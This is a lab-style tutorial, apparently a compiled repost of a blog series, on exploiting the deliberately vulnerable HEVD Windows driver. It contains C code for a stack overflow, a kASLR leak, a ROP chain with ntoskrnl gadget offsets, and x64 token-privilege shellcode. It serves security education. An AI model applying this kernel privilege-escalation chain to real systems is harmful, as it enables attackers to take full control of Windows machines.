



DAILY RED TEAM

CRACKING THE WINDOWS KERNEL

HEVD Complete Exploit Series

Stack Overflow · kASLR Bypass · SMEP & KPTI Bypass
ROP Chain Construction · Kernel Shellcoding · Privilege Escalation

KERNEL EXPLOITATION

WINDOWS

RED TEAM

PRIVILEGE ESCALATION

FOR EDUCATIONAL AND AUTHORISED USE ONLY. All techniques described herein are intended for legal penetration testing, security research, and CTF environments only. Original research by Danilo 'mdanilor' Rodrigues (CC BY-NC 4.0). Compiled & designed by Daily Red Team.

TABLE OF CONTENTS

CH.0 ENVIRONMENT SETUP

- Hypervisor Selection & SMEP Support
- Configuring Kernel Debugging with WinDbg
- Loading HEVD Driver
- Enabling DbgPrint Messages

CH.1 VULNERABILITY ANALYSIS & CRASH

- The Vulnerable Code — Stack Buffer Overflow
- IOCTL Interface & Device Communication
- Triggering the BSOD
- Return Address Offset Discovery

CH.2 BYPASSING KASLR, SMEP & KPTI

- What is SMEP and Why It Blocks Us
- Kernel Page-Table Isolation (KPTI / KVA Shadow)
- Leaking Kernel Base Address via EnumDeviceDrivers
- Resolving Kernel Symbol Addresses
- Allocating an Executable NonPagedPool

CH.3 BUILDING THE ROP CHAIN

- ROP Chain Design — Allocate, Copy, Jump
- Finding Gadgets with Ropper
- Handling Shadow Space / Home Space
- Complete ROP Payload Assembly
- Triggering the Trap in WinDbg

CH.4 KERNEL SHELLCODE & PRIVILEGE ESCALATION

- Windows Privilege Architecture
- EPROCESS, TOKEN & SEP_TOKEN_PRIVILEGES
- Shellcode — Elevating via Token Manipulation
- Returning to Userland with KiKernelSysretExit
- Full Working Exploit

CHAPTER 0

ENVIRONMENT SETUP

Before any exploit can be developed, a reliable kernel debugging environment is essential. This chapter covers every step from hypervisor selection to verifying that WinDbg is receiving DbgPrint output from the HEVD driver.

Hypervisor Selection

VirtualBox does **not** expose SMEP to guests, which strips half the value from this exercise. Use **Hyper-V** (best kernel-debug performance) or **VMWare** (also SMEP-capable, but expect slower kernel debug sessions). Download the Windows 10 evaluation image from the official Microsoft developer site and import it into your chosen hypervisor.

Network Kernel Debugging

On the guest (debuggee), open an elevated command prompt and configure network debugging. A unique key will be generated — copy it to the host.

```
bcdedit /debug on
bcdedit /dbgsettings net hostip:<HOST_IP> port:50000
```

WinDbg Setup on the Host (Debugger)

Install the Windows SDK on the host to get WinDbg. Go to File → Kernel Debugging, set port to 50000, paste the key, and reboot the guest. Once attached, open the Memory, Call Stack, Disassembly and Registers windows and arrange them to your preference.

Loading HEVD

Download HEVD v3.00 from the HackSys GitHub releases page. Copy the [HEVD.sys](#) file to the guest via a shared folder, then register and start the service:

```
sc create HEVD binPath= C:\path\to\HEVD.sys type= kernel
sc start HEVD
```

The service will only start when a kernel debugger is attached. If you get an error, ensure WinDbg is connected and try again.

Enabling DbgPrint Output

Pause the guest in WinDbg and execute the following command to unmask HEVD debug messages. Stop and restart the driver to verify the messages appear.

```
ed nt!Kd_IHVDRIVER_Mask 8
```

Architecture: Host (Debugger) ↔ Network ↔ Guest VM (Debuggee + HEVD)

CHAPTER 1

VULNERABILITY ANALYSIS & CRASH

With the environment ready, we analyse the vulnerable code path, communicate with the driver via IOCTL, trigger a BSOD, and then pinpoint the exact offset at which the return address is overwritten.

The Vulnerable Code

The vulnerability lives inside `TriggerBufferOverflowStack()` in the HEVD source. A fixed-size kernel buffer of `BUFFER_SIZE` (512) ULONGs (= 2048 bytes) is allocated on the stack. The driver then calls `RtlCopyMemory()` using the **user-supplied size**, with no bounds check:

```
ULONG KernelBuffer[BUFFER_SIZE] = { 0 }; // 512 * 4 = 2048 bytes
// ...
// BUG: Size is user-controlled — no upper-bound validation!
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
```

Sending more than 2048 bytes overflows the stack buffer and overwrites the saved return address, giving us control of the instruction pointer.

IOCTL Communication

User-mode programs talk to drivers through IOCTLs. The stack overflow handler is mapped to IOCTL function `0x800`. We open the device with `CreateFileA` and send our payload via `DeviceIoControl`:

```
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL(f) CTL_CODE(FILE_DEVICE_UNKNOWN, f, METHOD_NEITHER, FILE_ANY_ACCESS)
#define STACK_OVERFLOW_IOCTL IOCTL(0x800)

HANDLE get_handle() {
    return CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, NULL);
}

void do_buffer_overflow(HANDLE h) {
    SIZE_T sz = 0x1000; // 4096 > 2048 -> overflow!
    PULONG buf = (PULONG)HeapAlloc(GetProcessHeap(),
        HEAP_ZERO_MEMORY, sz);
    memset(buf, 'A', sz);
    DeviceIoControl(h, STACK_OVERFLOW_IOCTL, buf,
        (DWORD)sz, NULL, 0, NULL, NULL);
    HeapFree(GetProcessHeap(), 0, buf);
}
```

Finding the Return Address Offset

Two methods exist for discovering the exact offset where the return address sits.

Method 1 — Static Analysis in WinDbg

Set a breakpoint on the RET instruction of the function epilogue. Inspect the epilogue: it pops three 64-bit registers before returning. Therefore: 2048 (buffer) + 3 × 8 (saved registers) = **2072 bytes**.

Method 2 — Cyclic Pattern (Recommended)

Generate a De Bruijn sequence with the `pattern.py` tool, place it in the buffer, and let the crash tell you the exact offset:

```
# Generate 2100-byte pattern
python pattern.py create 2100

# After crash, RSP shows e.g. '0Cr1'
python pattern.py offset 0Cr1 2100
# Output: 2072
```

KEY FINDING: Return address is at offset 2072 in the payload. Any 8 bytes placed here will become the new RIP after the function returns.

CHAPTER 2

BYPASSING kASLR, SMEP & KPTI

Redirecting execution to a user-mode shellcode would be the naive approach — but modern Windows deploys three interlocking mitigations that block this path entirely. This chapter dissects each one and explains the bypass strategy.

Mitigation	What it does	Our bypass
kASLR	Randomises kernel image base address on every boot	<code>EnumDeviceDrivers()</code> leaks the base for medium-integrity processes
SMEP	Prevents kernel (ring 0) from executing pages marked <code>NO_EXECUTE</code>	Avoided entirely — shellcode placed in kernel <code>NonPagedPool</code>
KPTI / KVA Shadow	Marks user page-tables NX when executing kernel code	Allocate RWX in <code>NonPagedPool</code> , copy shellcode there, execute in kernel

Leaking the Kernel Base Address

Windows generously exposes `EnumDeviceDrivers()` (in `psapi.h`) to any medium-integrity process. The first entry in the returned array is always `ntoskrnl.exe` — the kernel itself. This single call defeats kASLR:

```
#include <Psapi.h>

unsigned long long get_kernel_base_addr() {
    LPVOID drivers[1024];
    DWORD cbNeeded;
    EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
    return (unsigned long long)drivers[0]; // kernel base
}
```

Resolving Any Kernel Symbol

With the base address known, we load `ntoskrnl.exe` as a DLL into our process, resolve the symbol's RVA with `GetProcAddress`, then add the leaked kernel base:

```
PVOID get_kernel_symbol_addr(const char *symbol) {
    unsigned long long base = get_kernel_base_addr();
    HMODULE hmod = LoadLibraryA(
        "C:\\Windows\\System32\\ntoskrnl.exe");
    PCHAR fn_addr = (PCHAR)GetProcAddress(hmod, symbol);
    unsigned long long rva = fn_addr - (PCHAR)hmod;
    return (PVOID)((PCHAR)base + rva);
}
```

Allocating an Executable Kernel Pool

Driver-land offers two pool types. `NonPagedPool` (type 0) is **non-pageable and executable by default** on older Windows builds. We call `ExAllocatePoolWithTag(NonPagedPool, 0x1000, tag)` via our ROP chain to obtain a kernel RWX region.

Windows x64 calling convention: RCX = arg1, RDX = arg2, R8 = arg3. Caller must reserve 32 bytes of shadow space before calling any function.

The full plan: allocate RWX pool → copy userland shellcode there via `RtlCopyMemory` → jump to that pool. SMEP is irrelevant (we never execute user pages). KPTI is irrelevant (we never touch user page-tables during

shellcode execution).

CHAPTER 3

BUILDING THE ROP CHAIN

Return-Oriented Programming (ROP) lets us execute arbitrary sequences of instructions without injecting new code into executable memory. Each gadget is a short sequence ending in a RET, found inside existing executable kernel modules. We chain them by placing their addresses on the stack.

ROP Chain Design

Our ROP chain must perform three operations:

1. ALLOCATE	Call <code>ExAllocatePoolWithTag(0, 0x100, tag)</code> → returns RWX pool addr in RAX
2. COPY	Call <code>memcpy(pool_addr, &shellcode;_userland, size)</code>
3. JUMP	<code>jmp rbx</code> → rbx holds the pool address saved earlier

Gadgets Found with Ropper

Copy `ntoskrnl.exe` to a machine with ropper installed and search for gadgets. In practice, perfect gadgets rarely exist — expect to chain multiple gadgets to accomplish a single logical operation.

```
# All offsets are relative to ntoskrnl base; added at runtime
g_xor_ecx_ecx_mov_rax_rcx_ret = 0x38cf53 # zero out RCX (arg1 = NonPagedPool=0)
g_pop_rdx_ret = 0x416748 # pop size into RDX (arg2)
g_add_rsp_20h_ret = 0xa155de # consume shadow space after call
g_push_rax_pop_rbx_ret = 0x20a263 # save pool addr (rax) in rbx
g_push_rax_pop_r13_ret = 0x5af724 # also save in r13
g_xchg_r8_r13_ret = 0x2c0da6 # r13 -> r8 (dest for memcpy)
g_mov_rcx_r8_mov_rax_rcx_ret = 0x93ac7a # r8 -> rcx (arg1 for memcpy)
g_pop_r8_ret = 0x2017f1 # pop copy size into r8 (arg3)
g_jump_rbx = 0x408aa2 # jump to saved pool address
```

Shadow Space Handling

The Windows x64 ABI requires the **caller** to allocate 32 bytes of shadow (home) space before any function call. After `ExAllocatePoolWithTag` returns, we must advance RSP by at least 0x18 bytes. The `add rsp, 0x20; ret` gadget handles this cleanly.

Complete Payload Assembly

```
// Offset layout (from start of input buffer)
// [0 .. 2071] = 'A' * 2072 (padding to reach saved RIP)
// [2072 ...] = ROP chain

add_to_payload(buf, &off, &g_xor_ecx_ecx_mov_rax_rcx_ret, 8); // RCX = 0
add_to_payload(buf, &off, &g_pop_rdx_ret, 8); // pop size
add_to_payload(buf, &off, &size_of_copy, 8); // 0x100
add_to_payload(buf, &off, &kernel_ExAllocatePoolWithTag, 8); // CALL
add_to_payload(buf, &off, &g_add_rsp_20h_ret, 8); // shadow
off += 0x20; // skip shadow

add_to_payload(buf, &off, &g_push_rax_pop_rbx_ret, 8); // save pool->rbx
```



```
add_to_payload(buf, &off, &g_push_rax_pop_r13_ret, 8); // save pool->r13
add_to_payload(buf, &off, &g_xchg_r8_r13_ret, 8); // pool->r8
add_to_payload(buf, &off, &g_mov_rcx_r8_mov_rax_rcx_ret, 8); // pool->rcx
add_to_payload(buf, &off, &g_pop_rdx_ret, 8); // src = shellcode
add_to_payload(buf, &off, (unsigned long long*)&shellcode, 8);
add_to_payload(buf, &off, &g_pop_r8_ret, 8); // copy size
add_to_payload(buf, &off, &size_of_copy, 8);
add_to_payload(buf, &off, &kernel_memcpy, 8); // CALL memcpy
add_to_payload(buf, &off, &g_jmp_rbx, 8); // JMP shellcode
```

Validation: After sending this payload, WinDbg should catch an INT3 trap (0xCC) inside kernel land — confirming that execution reached our (placeholder) shellcode.

CHAPTER 4

KERNEL SHELLCODE & PRIVILEGE ESCALATION

The ROP chain has delivered execution to our buffer in kernel land. Now the shellcode must do two things: (1) elevate the privileges of a target process by manipulating its token, and (2) return cleanly to user-mode without crashing the system.

Windows Privilege Architecture

Every process on Windows has an EPROCESS structure in the kernel. Embedded within it is an ACCESS_TOKEN object that carries the security context of the owning user. The token in turn contains a SEP_TOKEN_PRIVILEGES structure:

```
# WinDbg – inspect the privilege bitmasks inside any token
kd> dt nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B <- which privs exist
+0x008 Enabled : Uint8B <- which privs are active
+0x010 EnabledByDefault : Uint8B <- which are on by default
```

Each bit position maps to a privilege (bit 20 = SeDebugPrivilege, bit 29 = SeImpersonatePrivilege, etc.). Setting all three bitmasks to 0xFFFFFFFFFC grants every possible privilege — the equivalent of SYSTEM.

Target: The SEP_TOKEN_PRIVILEGES Structure

Bit	Privilege	Capability
7	SeTcbPrivilege	Act as part of the OS
10	SeLoadDriverPrivilege	Load / unload drivers
20	SeDebugPrivilege	Debug any process
29	SeImpersonatePrivilege	Impersonate any user
...	...	All 35 privileges enabled by 0xFFFFFFFFFC

Shellcode Logic (x64 Assembly)

The shellcode performs these steps using two kernel APIs: PsLookupProcessByProcessId (PID → EPROCESS) and PsReferencePrimaryToken (EPROCESS → TOKEN).

```
; === Privilege Escalation Shellcode (x64) ===
mov rcx, <PID> ; arg1: target PID
sub rsp, 0x8 ; reserve space for EPROCESS out-ptr
mov rdx, rsp ; arg2: &eprocess (out)
movabs rbx, <PsLookupProcessByProcessId>
call rbx ; eprocess now at [rsp]

mov rcx, QWORD PTR [rsp] ; arg1: eprocess
movabs rbx, <PsReferencePrimaryToken>
call rbx ; rax = TOKEN*

add rax, 0x40 ; rax -> SEP_TOKEN_PRIVILEGES
```

```
movabs rcx, 0xFFFFFFFFFC
mov QWORD PTR [rax], rcx ; Present = ALL
add rax, 0x8
mov QWORD PTR [rax], rcx ; Enabled = ALL
add rax, 0x8
mov QWORD PTR [rax], rcx ; ByDefault = ALL

add rsp, 0x8 ; clean up
; === Return to Userland ===
movabs rbx, <KiKernelSysretExit>
jmp rbx ; kernel handles graceful exit
```

Returning to Userland

Because our ROP chain trashed the kernel stack, restoring registers manually would be impractical. Instead, we jump directly to `KiKernelSysretExit` — the internal Windows function that handles the kernel-to-user transition. The kernel restores the execution context and we land cleanly back in our exploit process.

```
kernel_sysret = 0xa13dc0; // RVA in ntoskrnl – add base at runtime
// ... at end of shellcode:
movabs rbx, <kernel_sysret + kernel_base>
jmp rbx
```

C Harness — `generate_shellcode()`

```
char *generate_shellcode() {
// Pre-assembled opcodes; dynamic fields patched at runtime
char *sc = (char*)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, 0x59);
memcpy(sc, "\x48\xc7\xc1...\xff\xe3", 0x59);

memcpy(sc + 3, &pid, 4); // PID
memcpy(sc + 16, &kernel_PsLookupByPID, 8);
memcpy(sc + 32, &kernel_PsRefPrimaryToken, 8);
memcpy(sc + 0x4f, &kernel_sysret, 8);
return sc;
}
```

RESULT: After exploit execution, the spawned `cmd.exe` gains ALL Windows privileges without a system crash. `whoami /priv` confirms full privilege set.

CONCLUSIONS & TAKEAWAYS

■ KASLR is weak for medium-integrity

EnumDeviceDrivers() hands the kernel base to any standard user process. This makes KASLR alone insufficient as a kernel exploit mitigation.

■ SMEP is bypassable with kernel-only execution

By keeping all shellcode inside a kernel NonPagedPool allocation, SMEP is simply never triggered — we never execute user-mode pages.

■ KPTI breaks the SMEP-disable ROP

KVA Shadow marks user PTEs non-executable in kernel mode, defeating the classic CR4 bit-flip approach. The NonPagedPool strategy sidesteps this entirely.

■ Stack corruption does not require full register restoration

Jumping to KiKernelSysretExit lets the kernel handle the messy return, making sysret-based exploits viable even when the stack is thoroughly trashed.

■ ROP gadget availability is unpredictable

Ideal gadgets rarely exist. Expect improvisation, indirect register moves, and multiple gadgets to accomplish single operations.

References & Further Reading

Original Blog Series	Danilo 'mdanilor' Rodrigues — Cebola Security (CC BY-NC 4.0) https://mdanilor.github.io/posts/hevd-0/
HEVD Driver	HackSys Extreme Vulnerable Driver — HackSys Team https://github.com/hacksystem/HackSysExtremeVulnerableDriver
Ropper	ROP gadget finder — Sascha Schirra https://github.com/sashs/Ropper
SYSRET Shellcode	Kristal — Returning to Userland with SYSRET https://kristal-g.github.io/2021/05/08/SYSRET_Shellcode.html
Shellcoding Tools	Vinicius Marangoni — Assembly to opcodes helper https://github.com/viniciusmarangoni/shellcoding-tools
Microsoft Docs	SEP_TOKEN_PRIVILEGES, EPROCESS, KVA, Shadow, ExAllocatePoolWithTag https://learn.microsoft.com/en-us/windows-hardware/drivers/

Empowering the offensive security community through education and research. Follow us on LinkedIn:
[linkedin.com/company/daily-red-team](https://www.linkedin.com/company/daily-red-team)